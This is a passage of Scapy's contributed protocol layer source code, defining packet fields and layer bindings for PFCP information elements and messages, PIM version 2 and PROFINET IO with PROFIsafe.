fields_desc = IE_Base.fields_desc + [ IntField("timer", 0), ExtraDataField("extra_data"), ] class IE_EventQuota(IE_Base): name = "IE Event Quota" ie_type = 148 fields_desc = IE_Base.fields_desc + [ IntField("event_quota", 0), ExtraDataField("extra_data"), ] class IE_EventThreshold(IE_Base): name = "IE Event Threshold" ie_type = 149 fields_desc = IE_Base.fields_desc + [ IntField("event_threshold", 0), ExtraDataField("extra_data"), ] class IE_SubsequentEventQuota(IE_Base): name = "IE Subsequent Event Quota" ie_type = 150 fields_desc = IE_Base.fields_desc + [ IntField("subsequent_event_quota", 0), ExtraDataField("extra_data"), ] class IE_SubsequentEventThreshold(IE_Base): name = "IE Subsequent Event Threshold" ie_type = 151 fields_desc = IE_Base.fields_desc + [ IntField("subsequent_event_threshold", 0), ExtraDataField("extra_data"), ] class IE_TraceInformation(IE_Base): # TODO: more detailed decoding # TODO: fix IP address handling name = "IE Trace Information" ie_type = 152 fields_desc = IE_Base.fields_desc + [ BitField("mcc_digit_2", 0, 4), BitField("mcc_digit_1", 0, 4), BitField("mnc_digit_3", 0, 4), BitField("mcc_digit_3", 0, 4), BitField("mnc_digit_2", 0, 4), BitField("mnc_digit_1", 0, 4), ThreeBytesField("trace_id", 0), # FIXME FieldLenField("triggering_events_length", None, length_of="triggering_events", fmt="B"), StrLenField("triggering_events", "", length_from=lambda x: x.triggering_events_length), ByteField("session_trace_depth", 0), FieldLenField("list_of_interfaces_length", None, length_of="list_of_interfaces", fmt="B"), StrLenField("list_of_interfaces", "", length_from=lambda x: x.list_of_interfaces_length), FieldLenField("ip_address_length", None, length_of="ip_address", fmt="B"), StrLenField("ip_address", "", length_from=lambda x: x.ip_address_length), ExtraDataField("extra_data"), ] class IE_FramedRoute(IE_Base): name = "IE Framed-Route" ie_type = 153 fields_desc = IE_Base.fields_desc + [ StrLenField("framed_route", "", length_from=lambda x: x.length) ] class IE_FramedRouting(IE_Base): name = "IE Framed-Routing" ie_type = 154 fields_desc = IE_Base.fields_desc + [ StrLenField("framed_routing", "", length_from=lambda x: x.length) ] class IE_FramedIPv6Route(IE_Base): name = "IE Framed-IPv6-Route" ie_type = 155 fields_desc = IE_Base.fields_desc + [ StrLenField("framed_ipv6_route", "", length_from=lambda x: x.length) ] class IE_EventTimeStamp(IE_Base): name = "IE Event Time Stamp" ie_type = 156 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_AveragingWindow(IE_Base): name = "IE Averaging Window" ie_type = 157 fields_desc = IE_Base.fields_desc + [ IntField("averaging_window", 0), ExtraDataField("extra_data"), ] class IE_PagingPolicyIndicator(IE_Base): name = "IE Paging Policy Indicator" ie_type = 158 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("ppi", 0, 3), ExtraDataField("extra_data"), ] class IE_APN_DNN(IE_Base): name = "IE APN/DNN" ie_type = 159 fields_desc = IE_Base.fields_desc + [ APNStrLenField("apn_dnn", "", length_from=lambda x: x.length) ] class IE_3GPP_InterfaceType(IE_Base): name = "IE 3GPP Interface Type" ie_type = 160 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 2), BitEnumField("interface_type", "S1-U", 6, InterfaceType), ExtraDataField("extra_data"), ] class IE_EnterpriseSpecific(IE_Base): name = "Enterpise Specific" ie_type = None fields_desc = IE_Base.fields_desc + [ ShortEnumField("enterprise_id", None, IANA_ENTERPRISE_NUMBERS), StrLenField("data", "", length_from=lambda x: x.length - 2), ] class IE_NotImplemented(IE_Base): name = "IE not implemented" ie_type = 0 fields_desc = IE_Base.fields_desc + [ StrLenField("data", "", length_from=lambda x: x.length) ] ietypecls = { 1: IE_CreatePDR, 2: IE_PDI, 3: IE_CreateFAR, 4: IE_ForwardingParameters, 5: IE_DuplicatingParameters, 6: IE_CreateURR, 7: IE_CreateQER, 8: IE_CreatedPDR, 9: IE_UpdatePDR, 10: IE_UpdateFAR, 11: IE_UpdateForwardingParameters, 12: IE_UpdateBAR_SRR, 13: IE_UpdateURR, 14: IE_UpdateQER, 15: IE_RemovePDR, 16: IE_RemoveFAR, 17: IE_RemoveURR, 18: IE_RemoveQER, 19: IE_Cause, 20: IE_SourceInterface, 21: IE_FTEID, 22: IE_NetworkInstance, 23: IE_SDF_Filter, 24: IE_ApplicationId, 25: IE_GateStatus, 26: IE_MBR, 27: IE_GBR, 28: IE_QERCorrelationId, 29: IE_Precedence, 30: IE_TransportLevelMarking, 31: IE_VolumeThreshold, 32: IE_TimeThreshold, 33: IE_MonitoringTime, 34: IE_SubsequentVolumeThreshold, 35: IE_SubsequentTimeThreshold, 36: IE_InactivityDetectionTime, 37: IE_ReportingTriggers, 38: IE_RedirectInformation, 39: IE_ReportType, 40: IE_OffendingIE, 41: IE_ForwardingPolicy, 42: IE_DestinationInterface, 43: IE_UPFunctionFeatures, 44: IE_ApplyAction, 45: IE_DownlinkDataServiceInformation, 46: IE_DownlinkDataNotificationDelay, 47: IE_DLBufferingDuration, 48: IE_DLBufferingSuggestedPacketCount, 49: IE_PFCPSMReqFlags, 50: IE_PFCPSRRspFlags, 51: IE_LoadControlInformation, 52: IE_SequenceNumber, 53: IE_Metric, 54: IE_OverloadControlInformation, 55: IE_Timer, 56: IE_PDR_Id, 57: IE_FSEID, 58: IE_ApplicationID_PFDs, 59: IE_PFDContext, 60: IE_NodeId, 61: IE_PFDContents, 62: IE_MeasurementMethod, 63: IE_UsageReportTrigger, 64: IE_MeasurementPeriod, 65: IE_FqCSID, 66: IE_VolumeMeasurement, 67: IE_DurationMeasurement, 68: IE_ApplicationDetectionInformation, 69: IE_TimeOfFirstPacket, 70: IE_TimeOfLastPacket, 71: IE_QuotaHoldingTime, 72: IE_DroppedDLTrafficThreshold, 73: IE_VolumeQuota, 74: IE_TimeQuota, 75: IE_StartTime, 76: IE_EndTime, 77: IE_QueryURR, 78: IE_UsageReport_SMR, 79: IE_UsageReport_SDR, 80: IE_UsageReport_SRR, 81: IE_URR_Id, 82: IE_LinkedURR_Id, 83: IE_DownlinkDataReport, 84: IE_OuterHeaderCreation, 85: IE_Create_BAR, 86: IE_Update_BAR_SMR, 87: IE_Remove_BAR, 88: IE_BAR_Id, 89: IE_CPFunctionFeatures, 90: IE_UsageInformation, 91: IE_ApplicationInstanceId, 92: IE_FlowInformation, 93: IE_UE_IP_Address, 94: IE_PacketRate, 95: IE_OuterHeaderRemoval, 96: IE_RecoveryTimeStamp, 97: IE_DLFlowLevelMarking, 98: IE_HeaderEnrichment, 99: IE_ErrorIndicationReport, 100: IE_MeasurementInformation, 101: IE_NodeReportType, 102: IE_UserPlanePathFailureReport, 103: IE_RemoteGTP_U_Peer, 104: IE_UR_SEQN, 105: IE_UpdateDuplicatingParameters, 106: IE_ActivatePredefinedRules, 107: IE_DeactivatePredefinedRules, 108: IE_FAR_Id, 109: IE_QER_Id, 110: IE_OCIFlags, 111: IE_PFCPAssociationReleaseRequest, 112: IE_GracefulReleasePeriod, 113: IE_PDNType, 114: IE_FailedRuleId, 115: IE_TimeQuotaMechanism, 116: IE_UserPlaneIPResourceInformation, 117: IE_UserPlaneInactivityTimer, 118: IE_AggregatedURRs, 119: IE_Multiplier, 120: IE_AggregatedURR_Id, 121: IE_SubsequentVolumeQuota, 122: IE_SubsequentTimeQuota, 123: IE_RQI, 124: IE_QFI, 125: IE_QueryURRReference, 126: IE_AdditionalUsageReportsInformation, 127: IE_CreateTrafficEndpoint, 128: IE_CreatedTrafficEndpoint, 129: IE_UpdateTrafficEndpoint, 130: IE_RemoveTrafficEndpoint, 131: IE_TrafficEndpointId, 132: IE_EthernetPacketFilter, 133: IE_MACAddress, 134: IE_C_TAG, 135: IE_S_TAG, 136: IE_Ethertype, 137: IE_Proxying, 138: IE_EthernetFilterId, 139: IE_EthernetFilterProperties, 140: IE_SuggestedBufferingPacketsCount, 141: IE_UserId, 142: IE_EthernetPDUSessionInformation, 143: IE_EthernetTrafficInformation, 144: IE_MACAddressesDetected, 145: IE_MACAddressesRemoved, 146: IE_EthernetInactivityTimer, 147: IE_AdditionalMonitoringTime, 148: IE_EventQuota, 149: IE_EventThreshold, 150: IE_SubsequentEventQuota, 151: IE_SubsequentEventThreshold, 152: IE_TraceInformation, 153: IE_FramedRoute, 154: IE_FramedRouting, 155: IE_FramedIPv6Route, 156: IE_EventTimeStamp, 157: IE_AveragingWindow, 158: IE_PagingPolicyIndicator, 159: IE_APN_DNN, 160: IE_3GPP_InterfaceType, } # # PFCP Messages # 3GPP TS 29.244 V15.6.0 (2019-07) # # class PFCPMessage(Packet): # fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)] class PFCPHeartbeatRequest(Packet): name = "PFCP Heartbeat Request" fields_desc = [ PacketListField("IE_list", [IE_RecoveryTimeStamp()], IE_Dispatcher) ] class PFCPHeartbeatResponse(Packet): name = "PFCP Heartbeat Response" fields_desc = [ PacketListField("IE_list", [IE_RecoveryTimeStamp()], IE_Dispatcher) ] def answers(self, other): return isinstance(other, PFCPHeartbeatRequest) class PFCPPFDManagementRequest(Packet): name = "PFCP PFD Management Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPPFDManagementResponse(Packet): name = "PFCP PFD Management Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPPFDManagementRequest) class PFCPAssociationSetupRequest(Packet): name = "PFCP Association Setup Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPAssociationSetupResponse(Packet): name = "PFCP Association Setup Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPAssociationSetupRequest) class PFCPAssociationUpdateRequest(Packet): name = "PFCP Association Update Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPAssociationUpdateResponse(Packet): name = "PFCP Association Update Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPAssociationUpdateRequest) class PFCPAssociationReleaseRequest(Packet): name = "PFCP Association Release Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPAssociationReleaseResponse(Packet): name = "PFCP Association Release Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPAssociationReleaseRequest) class PFCPVersionNotSupportedResponse(Packet): name = "PFCP Version Not Supported Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] # TODO: answers() class PFCPNodeReportRequest(Packet): name = "PFCP Node Report Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPNodeReportResponse(Packet): name = "PFCP Node Report Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPNodeReportRequest) class PFCPSessionSetDeletionRequest(Packet): name = "PFCP Session Set Deletion Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionSetDeletionResponse(Packet): name = "PFCP Session Set Deletion Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionSetDeletionRequest) class PFCPSessionEstablishmentRequest(Packet): name = "PFCP Session Establishment Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionEstablishmentResponse(Packet): name = "PFCP Session Establishment Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionEstablishmentRequest) class PFCPSessionModificationRequest(Packet): name = "PFCP Session Modification Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionModificationResponse(Packet): name = "PFCP Session Modification Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionModificationRequest) class PFCPSessionDeletionRequest(Packet): name = "PFCP Session Deletion Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionDeletionResponse(Packet): name = "PFCP Session Deletion Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionDeletionRequest) class PFCPSessionReportRequest(Packet): name = "PFCP Session Report Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionReportResponse(Packet): name = "PFCP Session Report Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionReportRequest) bind_bottom_up(UDP, PFCP, dport=8805) bind_bottom_up(UDP, PFCP, sport=8805) bind_layers(UDP, PFCP, dport=8805, sport=8805) bind_layers(PFCP, PFCPHeartbeatRequest, message_type=1) bind_layers(PFCP, PFCPHeartbeatResponse, message_type=2) bind_layers(PFCP, PFCPPFDManagementRequest, message_type=3) bind_layers(PFCP, PFCPPFDManagementResponse, message_type=4) bind_layers(PFCP, PFCPAssociationSetupRequest, message_type=5) bind_layers(PFCP, PFCPAssociationSetupResponse, message_type=6) bind_layers(PFCP, PFCPAssociationUpdateRequest, message_type=7) bind_layers(PFCP, PFCPAssociationUpdateResponse, message_type=8) bind_layers(PFCP, PFCPAssociationReleaseRequest, message_type=9) bind_layers(PFCP, PFCPAssociationReleaseResponse, message_type=10) bind_layers(PFCP, PFCPVersionNotSupportedResponse, message_type=11) bind_layers(PFCP, PFCPNodeReportRequest, message_type=12) bind_layers(PFCP, PFCPNodeReportResponse, message_type=13) bind_layers(PFCP, PFCPSessionSetDeletionRequest, message_type=14) bind_layers(PFCP, PFCPSessionSetDeletionResponse, message_type=15) bind_layers(PFCP, PFCPSessionEstablishmentRequest, message_type=50) bind_layers(PFCP, PFCPSessionEstablishmentResponse, message_type=51) bind_layers(PFCP, PFCPSessionModificationRequest, message_type=52) bind_layers(PFCP, PFCPSessionModificationResponse, message_type=53) bind_layers(PFCP, PFCPSessionDeletionRequest, message_type=54) bind_layers(PFCP, PFCPSessionDeletionResponse, message_type=55) bind_layers(PFCP, PFCPSessionReportRequest, message_type=56) bind_layers(PFCP, PFCPSessionReportResponse, message_type=57) # FIXME: the following fails with pfcplib-generated pcaps: # bind_layers(PFCP, PFCPSessionEstablishmentRequest, message_type=50, S=1) # bind_layers(PFCP, PFCPSessionEstablishmentResponse, message_type=51, S=1) # bind_layers(PFCP, PFCPSessionModificationRequest, message_type=52, S=1) # bind_layers(PFCP, PFCPSessionModificationResponse, message_type=53, S=1) # bind_layers(PFCP, PFCPSessionDeletionRequest, message_type=54, S=1) # bind_layers(PFCP, PFCPSessionDeletionResponse, message_type=55, S=1) # bind_layers(PFCP, PFCPSessionReportRequest, message_type=56, S=1) # bind_layers(PFCP, PFCPSessionReportResponse, message_type=57, S=1) # TODO: limit possible child IEs based on IE type IE_UE_IP_Address(SD=0, V4=0, V6=0, spare=0) ================================================ FILE: scapy/contrib/pim.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Protocol Independent Multicast (PIM) # scapy.contrib.status = loads """ References: - https://tools.ietf.org/html/rfc4601 - https://www.iana.org/assignments/pim-parameters/pim-parameters.xhtml """ import struct from scapy.packet import Packet, bind_layers from scapy.fields import BitFieldLenField, BitField, BitEnumField, ByteField, \ ShortField, XShortField, IPField, IP6Field, PacketListField, \ IntField, FieldLenField, BoundStrLenField, MultipleTypeField from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6, in6_chksum, _IPv6ExtHdr from scapy.utils import checksum from scapy.compat import orb from scapy.config import conf from scapy.volatile import RandInt PIM_TYPE = { 0: "Hello", 1: "Register", 2: "Register-Stop", 3: "Join/Prune", 4: "Bootstrap", 5: "Assert", 6: "Graft", 7: "Graft-Ack", 8: "Candidate-RP-Advertisement" } class PIMv2Hdr(Packet): name = "Protocol Independent Multicast Version 2 Header" fields_desc = [BitField("version", 2, 4), BitEnumField("type", 0, 4, PIM_TYPE), ByteField("reserved", 0), XShortField("chksum", None)] def post_build(self, p, pay): """ Called implicitly before a packet is sent to compute and place PIM checksum. Parameters: self The instantiation of an PIMv2Hdr class p The PIMv2Hdr message in hex in network byte order pay Additional payload for the PIMv2Hdr message """ p += pay if self.chksum is None: if isinstance(self.underlayer, IP): ck = checksum(p) # ck = in4_chksum(103, self.underlayer, p) # According to RFC768 if the result checksum is 0, it should be set to 0xFFFF # noqa: E501 if ck == 0: ck = 0xFFFF p = p[:2] + struct.pack("!H", ck) + p[4:] elif isinstance(self.underlayer, IPv6) or isinstance(self.underlayer, _IPv6ExtHdr): # noqa: E501 ck = in6_chksum(103, self.underlayer, p) # noqa: E501 # According to RFC2460 if the result checksum is 0, it should be set to 0xFFFF # noqa: E501 if ck == 0: ck = 0xFFFF p = p[:2] + struct.pack("!H", ck) + p[4:] return p def _guess_pim_tlv_class(h_classes, default_key, pkt, **kargs): cls = conf.raw_layer if len(pkt) >= 2: tlvtype = orb(pkt[1]) cls = h_classes.get(tlvtype, default_key) return cls(pkt, **kargs) class _PIMGenericTlvBase(Packet): fields_desc = [ByteField("type", 0), FieldLenField("length", None, length_of="value", fmt="B"), BoundStrLenField("value", "", length_from=lambda pkt: pkt.length)] def guess_payload_class(self, p): return conf.padding_layer def extract_padding(self, s): return "", s ################################## # PIMv2 Hello ################################## class _PIMv2GenericHello(_PIMGenericTlvBase): name = "PIMv2 Generic Hello" def _guess_pimv2_hello_class(p, **kargs): return _guess_pim_tlv_class(PIMv2_HELLO_CLASSES, None, p, **kargs) class _PIMv2HelloListField(PacketListField): def __init__(self): PacketListField.__init__(self, "option", [], _guess_pimv2_hello_class) class PIMv2Hello(Packet): name = "PIMv2 Hello Options" fields_desc = [ _PIMv2HelloListField() ] class PIMv2HelloHoldtime(_PIMv2GenericHello): name = "PIMv2 Hello Options : Holdtime" fields_desc = [ ShortField("type", 1), FieldLenField("length", None, length_of="holdtime", fmt="!H"), ShortField("holdtime", 105) ] class PIMv2HelloLANPruneDelayValue(_PIMv2GenericHello): name = "PIMv2 Hello Options : LAN Prune Delay Value" fields_desc = [ BitField("t", 0, 1), BitField("propagation_delay", 500, 15), ShortField("override_interval", 2500), ] class PIMv2HelloLANPruneDelay(_PIMv2GenericHello): name = "PIMv2 Hello Options : LAN Prune Delay" fields_desc = [ ShortField("type", 2), FieldLenField("length", None, length_of="value", fmt="!H"), PacketListField("value", PIMv2HelloLANPruneDelayValue(), PIMv2HelloLANPruneDelayValue, length_from=lambda pkt: pkt.length) ] class PIMv2HelloDRPriority(_PIMv2GenericHello): name = "PIMv2 Hello Options : DR Priority" fields_desc = [ ShortField("type", 19), FieldLenField("length", None, length_of="dr_priority", fmt="!H"), IntField("dr_priority", 1) ] class PIMv2HelloGenerationID(_PIMv2GenericHello): name = "PIMv2 Hello Options : Generation ID" fields_desc = [ ShortField("type", 20), FieldLenField( "length", None, length_of="generation_id", fmt="!H" ), IntField("generation_id", RandInt()) ] class PIMv2HelloStateRefreshValue(_PIMv2GenericHello): name = "PIMv2 Hello Options : State-Refresh Value" fields_desc = [ByteField("version", 1), ByteField("interval", 0), ShortField("reserved", 0)] class PIMv2HelloStateRefresh(_PIMv2GenericHello): name = "PIMv2 Hello Options : State-Refresh" fields_desc = [ ShortField("type", 21), FieldLenField( "length", None, length_of="value", fmt="!H" ), PacketListField("value", PIMv2HelloStateRefreshValue(), PIMv2HelloStateRefreshValue) ] class PIMv2HelloAddrListValue(_PIMv2GenericHello): name = "PIMv2 Hello Options : Address List Value" fields_desc = [ ByteField("addr_family", 1), ByteField("encoding_type", 0), IP6Field("prefix", "::"), ] class PIMv2HelloAddrList(_PIMv2GenericHello): name = "PIMv2 Hello Options : Address List" fields_desc = [ ShortField("type", 24), FieldLenField( "length", None, length_of="value" , fmt="!H" ), PacketListField("value", PIMv2HelloAddrListValue(), PIMv2HelloAddrListValue) ] PIMv2_HELLO_CLASSES = { 1: PIMv2HelloHoldtime, 2: PIMv2HelloLANPruneDelay, 19: PIMv2HelloDRPriority, 20: PIMv2HelloGenerationID, 21: PIMv2HelloStateRefresh, 24: PIMv2HelloAddrList, None: _PIMv2GenericHello, } ################################## # PIMv2 Join/Prune ################################## class PIMv2JoinPruneAddrsBase(_PIMGenericTlvBase): fields_desc = [ ByteField("addr_family", 1), ByteField("encoding_type", 0), BitField("rsrvd", 0, 5), BitField("sparse", 0, 1), BitField("wildcard", 0, 1), BitField("rpt", 1, 1), ByteField("mask_len", 32), MultipleTypeField( [(IP6Field("src_ip", "::"), lambda pkt: pkt.addr_family == 2)], IPField("src_ip", "0.0.0.0") ), ] class PIMv2JoinAddrs(PIMv2JoinPruneAddrsBase): name = "PIMv2 Join: Source Address" class PIMv2PruneAddrs(PIMv2JoinPruneAddrsBase): name = "PIMv2 Prune: Source Address" class PIMv2GroupAddrs(_PIMGenericTlvBase): name = "PIMv2 Join/Prune: Multicast Group Address" fields_desc = [ ByteField("addr_family", 1), ByteField("encoding_type", 0), BitField("bidirection", 0, 1), BitField("reserved", 0, 6), BitField("admin_scope_zone", 0, 1), ByteField("mask_len", 32), MultipleTypeField( [(IP6Field("gaddr", "::"), lambda pkt: pkt.addr_family == 2)], IPField("gaddr", "0.0.0.0") ), BitFieldLenField("num_joins", None, size=16, count_of="join_ips"), BitFieldLenField("num_prunes", None, size=16, count_of="prune_ips"), PacketListField("join_ips", [], PIMv2JoinAddrs, count_from=lambda x: x.num_joins), PacketListField("prune_ips", [], PIMv2PruneAddrs, count_from=lambda x: x.num_prunes), ] class PIMv2JoinPrune(_PIMGenericTlvBase): name = "PIMv2 Join/Prune Options" fields_desc = [ ByteField("up_addr_family", 1), ByteField("up_encoding_type", 0), MultipleTypeField( [(IP6Field("up_neighbor_ip", "::"), lambda pkt: pkt.up_addr_family == 2)], IPField("up_neighbor_ip", "0.0.0.0") ), ByteField("reserved", 0), FieldLenField("num_group", None, count_of="jp_ips", fmt="B"), ShortField("holdtime", 210), PacketListField("jp_ips", [], PIMv2GroupAddrs, count_from=lambda pkt: pkt.num_group) ] bind_layers(IP, PIMv2Hdr, proto=103) bind_layers(IPv6, PIMv2Hdr, nh=103) bind_layers(PIMv2Hdr, PIMv2Hello, type=0) bind_layers(PIMv2Hdr, PIMv2JoinPrune, type=3) ================================================ FILE: scapy/contrib/pnio.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2016 Gauthier Sebaux # scapy.contrib.description = ProfinetIO RTC (+Profisafe) layer # scapy.contrib.status = loads import copy from scapy.compat import raw from scapy.error import Scapy_Exception from scapy.config import conf from scapy.packet import Packet, bind_layers from scapy.layers.l2 import Ether from scapy.layers.inet import UDP from scapy.fields import ( XShortEnumField, BitEnumField, XBitField, BitField, StrField, PacketListField, StrFixedLenField, ShortField, FlagsField, ByteField, XIntField, X3BytesField ) PNIO_FRAME_IDS = { 0x0020: "PTCP-RTSyncPDU-followup", 0x0080: "PTCP-RTSyncPDU", 0xFC01: "Alarm High", 0xFE01: "Alarm Low", 0xFEFC: "DCP-Hello-Req", 0xFEFD: "DCP-Get-Set", 0xFEFE: "DCP-Identify-ReqPDU", 0xFEFF: "DCP-Identify-ResPDU", 0xFF00: "PTCP-AnnouncePDU", 0xFF20: "PTCP-FollowUpPDU", 0xFF40: "PTCP-DelayReqPDU", 0xFF41: "PTCP-DelayResPDU-followup", 0xFF42: "PTCP-DelayFuResPDU", 0xFF43: "PTCP-DelayResPDU", } def i2s_frameid(x): """ Get representation name of a pnio frame ID :param x: a key of the PNIO_FRAME_IDS dictionary :returns: str """ try: return PNIO_FRAME_IDS[x] except KeyError: pass if 0x0100 <= x < 0x1000: return "RT_CLASS_3 (%4x)" % x if 0x8000 <= x < 0xC000: return "RT_CLASS_1 (%4x)" % x if 0xC000 <= x < 0xFC00: return "RT_CLASS_UDP (%4x)" % x if 0xFF80 <= x < 0xFF90: return "FragmentationFrameID (%4x)" % x return x def s2i_frameid(x): """ Get pnio frame ID from a representation name Performs a reverse look-up in PNIO_FRAME_IDS dictionary :param x: a value of PNIO_FRAME_IDS dict :returns: integer """ try: return { "RT_CLASS_3": 0x0100, "RT_CLASS_1": 0x8000, "RT_CLASS_UDP": 0xC000, "FragmentationFrameID": 0xFF80, }[x] except KeyError: pass try: return next(key for key, value in PNIO_FRAME_IDS.items() if value == x) except StopIteration: pass return x ################# # PROFINET IO # ################# class ProfinetIO(Packet): """ Basic PROFINET IO dispatcher """ fields_desc = [ XShortEnumField("frameID", 0, (i2s_frameid, s2i_frameid)) ] def guess_payload_class(self, payload): # For frameID in the RT_CLASS_* range, use the RTC packet as payload if self.frameID in [0xfefe, 0xfeff, 0xfefd]: from scapy.contrib.pnio_dcp import ProfinetDCP return ProfinetDCP elif self.frameID == 0xFE01: from scapy.contrib.pnio_rpc import Alarm_Low return Alarm_Low elif self.frameID == 0xFC01: from scapy.contrib.pnio_rpc import Alarm_High return Alarm_High elif ( (0x0100 <= self.frameID < 0x1000) or (0x8000 <= self.frameID < 0xFC00) ): return PNIORealTimeCyclicPDU return super(ProfinetIO, self).guess_payload_class(payload) bind_layers(Ether, ProfinetIO, type=0x8892) bind_layers(UDP, ProfinetIO, dport=0x8892) ##################################### # PROFINET Real-Time Data Packets # ##################################### conf.contribs["PNIO_RTC"] = {} class PNIORealTime_IOxS(Packet): """ IOCS and IOPS packets for PROFINET Real-Time payload """ name = "PNIO RTC IOxS" fields_desc = [ # IOxS.DataState -- IEC-61158 - 6 - 10 / FDIS ED 3, Table 181 BitEnumField("dataState", 1, 1, ["bad", "good"]), # IOxS.Instance -- IEC-61158 - 6 - 10 / FDIS ED 3, Table 180 BitEnumField("instance", 0, 2, ["subslot", "slot", "device", "controller"]), # IOxS.reserved -- IEC-61158 - 6 - 10 / FDIS ED 3, line 2649 XBitField("reserved", 0, 4), # IOxS.Extension -- IEC-61158-6-10/FDIS ED 3, Table 179 BitField("extension", 0, 1), ] @classmethod def is_extension_set(cls, _pkt, _lst, p, _remain): ret = cls if isinstance(p, type(None)) or p.extension != 0 else None return ret @classmethod def get_len(cls): return sum(type(fld).i2len(None, 0) for fld in cls.fields_desc) def guess_payload_class(self, p): return conf.padding_layer class PNIORealTimeCyclicDefaultRawData(Packet): name = "PROFINET IO Real Time Cyclic Default Raw Data" fields_desc = [ # 4 is the sum of the size of the CycleCounter + DataStatus # + TransferStatus trailing from PNIORealTimeCyclicPDU StrField("data", '', remain=4) ] def guess_payload_class(self, payload): return conf.padding_layer class PNIORealTimeCyclicPDU(Packet): """ PROFINET cyclic real-time """ __slots__ = ["_len", "_layout"] name = "PROFINET Real-Time" fields_desc = [ # C_SDU ^ CSF_SDU -- IEC-61158-6-10/FDIS ED 3, Table 163 PacketListField( "data", [], next_cls_cb=lambda pkt, lst, p, remain: pkt.next_cls_cb( lst, p, remain) ), # RTCPadding -- IEC - 61158 - 6 - 10 / FDIS ED 3, Table 163 StrFixedLenField("padding", '', length_from=lambda p: p.get_padding_length()), # APDU_Status -- IEC-61158-6-10/FDIS ED 3, Table 164 ShortField("cycleCounter", 0), FlagsField("dataStatus", 0x35, 8, [ "primary", "redundancy", "validData", "reserved_1", "run", "no_problem", "reserved_2", "ignore", ]), ByteField("transferStatus", 0) ] def pre_dissect(self, s): # Constraint from IEC-61158-6-10/FDIS ED 3, line 690 self._len = min(1440, len(s)) return s def get_padding_length(self): if hasattr(self, "_len"): pad_len = ( self._len - sum(len(raw(pkt)) for pkt in self.getfieldval("data")) - 2 - # Cycle Counter size (ShortField) 1 - # DataStatus size (FlagsField over 8 bits) 1 # TransferStatus (ByteField) ) else: pad_len = len(self.getfieldval("padding")) # Constraints from IEC-61158-6-10/FDIS ED 3, Table 163 assert 0 <= pad_len <= 40 q = self while not isinstance(q, UDP) and hasattr(q, "underlayer"): q = q.underlayer if isinstance(q, UDP): assert 0 <= pad_len <= 12 return pad_len def next_cls_cb(self, _lst, _p, _remain): if hasattr(self, "_layout") and isinstance(self._layout, list): try: return self._layout.pop(0) except IndexError: self._layout = None return None ether_layer = None q = self while not isinstance(q, Ether) and hasattr(q, "underlayer"): q = q.underlayer if isinstance(q, Ether): ether_layer = q pnio_layer = None q = self while not isinstance(q, ProfinetIO) and hasattr(q, "underlayer"): q = q.underlayer if isinstance(q, ProfinetIO): pnio_layer = q self._layout = [PNIORealTimeCyclicDefaultRawData] if not (ether_layer is None and pnio_layer is None): # Get from config the layout for these hosts and frameid layout = type(self).get_layout_from_config( ether_layer.src, ether_layer.dst, pnio_layer.frameID) if not isinstance(layout, type(None)): self._layout = layout return self._layout.pop(0) @staticmethod def get_layout_from_config(ether_src, ether_dst, frame_id): try: return copy.deepcopy( conf.contribs["PNIO_RTC"][(ether_src, ether_dst, frame_id)] ) except KeyError: return None @staticmethod def build_fixed_len_raw_type(length): return type( "FixedLenRawPacketLen{}".format(length), (conf.raw_layer,), { "name": "FixedLenRawPacketLen{}".format(length), "fields_desc": [StrFixedLenField("data", '', length=length)], "get_data_length": lambda _: length, "guess_payload_class": lambda self, p: conf.padding_layer, } ) # From IEC 61784-3-3 Ed. 3 PROFIsafe v.2.6, Figure 20 profisafe_control_flags = [ "iPar_EN", "OA_Req", "R_cons_nr", "Use_TO2", "activate_FV", "Toggle_h", "ChF_Ack", "Loopcheck" ] # From IEC 61784-3-3 Ed. 3 PROFIsafe v.2.6, Figure 19 profisafe_status_flags = [ "iPar_OK", "Device_Fault/ChF_Ack_Req", "CE_CRC", "WD_timeout", "FV_activated", "Toggle_d", "cons_nr_R", "reserved" ] class PROFIsafeCRCSeed(Packet): __slots__ = ["_len"] + Packet.__slots__ def guess_payload_class(self, p): return conf.padding_layer def get_data_length(self): """ Must be overridden in a subclass to return the correct value """ raise Scapy_Exception( "This method must be overridden in a specific subclass" ) def get_mandatory_fields_len(self): # 5 is the len 